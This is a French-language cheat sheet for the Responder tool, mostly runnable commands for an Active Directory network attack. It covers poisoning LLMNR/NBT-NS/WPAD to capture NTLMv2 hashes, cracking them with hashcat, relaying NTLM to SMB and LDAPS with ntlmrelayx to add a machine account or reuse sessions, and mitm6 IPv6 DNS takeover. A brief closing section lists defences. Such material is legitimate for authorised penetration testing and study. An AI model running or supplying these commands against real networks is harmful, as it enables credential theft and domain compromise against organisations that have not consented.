Responder — outil

#Lancer

bash

# Écoute complète sur l'interface du LAN
sudo responder -I eth0 -wdv

# Mode analyse : voir les requêtes sans répondre
sudo responder -I eth0 -A

# Fingerprint des hôtes qui parlent
sudo responder -I eth0 -f

Option	Effet
`-I`	Interface d'écoute
`-A`	Analyse passive
`-w`	Rogue WPAD
`-d`	Réponses DHCP
`-v`	Verbeux
`-F`	Forcer l'authentification WPAD

Les hashes capturés apparaissent dans logs/ (ou ~/.responder/logs/) au format NTLMv2-SSP.

#Cracker les hashes

bash

# NTLMv2
hashcat -m 5600 logs/SMB-NTLMv2-SSP-10.10.10.10.txt rockyou.txt

# NTLMv1 (si le client le permet)
hashcat -m 5500 ntlmv1.txt rockyou.txt

bash

# Voir les hashes sans lancer d'attaque
cat logs/*.txt | grep -i "NTLMv2"

#Relais NTLM

Désactive SMB et HTTP dans Responder pour laisser ntlmrelayx répondre :

ini

# /etc/responder/Responder.conf
[Responder Core]
SMB = Off
HTTP = Off

bash

# Cibles sans signature SMB
nxc smb 10.10.10.0/24 --gen-relay-list relay.txt

# Relais vers SMB
impacket-ntlmrelayx -tf relay.txt -smb2support

# Relais vers LDAP(S) pour créer un ordinateur (ADCS)
impacket-ntlmrelayx -t ldaps://dc01.domain.local -smb2support --add-computer

# SOCKS pour réutiliser les sessions
impacket-ntlmrelayx -tf relay.txt -smb2support -socks

#mitm6 + relais

bash

# Prendre le rôle de serveur DNS via IPv6
sudo mitm6 -d domain.local

# En parallèle, relayer vers LDAP(S)
impacket-ntlmrelayx -6 -t ldaps://dc01.domain.local -wh attacker.domain.local

#Détection et défense

Désactiver LLMNR (GPO) et NBT-NS sur les cartes.
Activer la signature SMB et LDAP.
Surveiller les événements 4624/4776 et le trafic LLMNR anormal.
Segmenter le LAN et interdire le multicast entre postes.